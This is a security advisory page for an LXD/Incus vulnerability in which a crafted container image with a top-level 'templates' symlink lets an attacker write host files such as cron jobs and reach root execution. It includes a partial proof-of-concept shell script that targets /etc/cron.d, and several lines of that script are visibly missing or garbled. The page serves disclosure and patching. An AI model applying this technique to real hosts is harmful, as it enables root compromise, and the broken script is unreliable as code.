GITHUB.COM/CANONICAL/LXD · GHSA-jpf8-86f3-wp38 · Package
FIX → 0.0.0-20260203144152-d1c8ba15d160
A crafted container image containing a top-level templates symlink can make LXD read and write files outside its storage directory on the host. An attacker who can import an image can edit files such as cron jobs and may reach command execution as root.
first public Nov 6, 2026 · 1 source
Check it with your coding agent
It checks your repository and tells you if you’re affected, with the fix.
Hosts running LXD that import container images, especially images from outside sources. Hosts that only use trusted, self-built images are less exposed but should still update. The sources do not say whether the flaw is reachable through the default configuration.
Not affected if trusted-images-only
Who cares containers, cwe-73, linux, lxd, self-hosted
lxd --version or snap list lxd and compare it with the fixed version.Upgrade to 0.0.0-20260203144152-d1c8ba15d160
github.com/canonical/lxd at or after 0.0.0-20260203144152-d1c8ba15d160.Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
For container images, internal/server/storage/utils.go calls
archive.Unpack(imageFile, destPath, ...). The tar extraction path in
shared/archive/archive.go excludes device nodes, but it does not
reject a top-level templates symlink.
In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.
Below, we map the templates directory to /etc/cron.d on the host, but
it can be mapped anywhere. We then create a cronjob to run id as root.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
() {
-rf
}
cleanup EXIT INT QUIT TERM HUP
-p
-s /etc/cron.d
<<
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar -- afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink
incus config template afrw-image-templates-symlink
| incus config template create afrw-image-templates-symlink poc-32
Are you affected?
Tell InfraStack what you run. It checks this one, and every next one, against your stack.
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.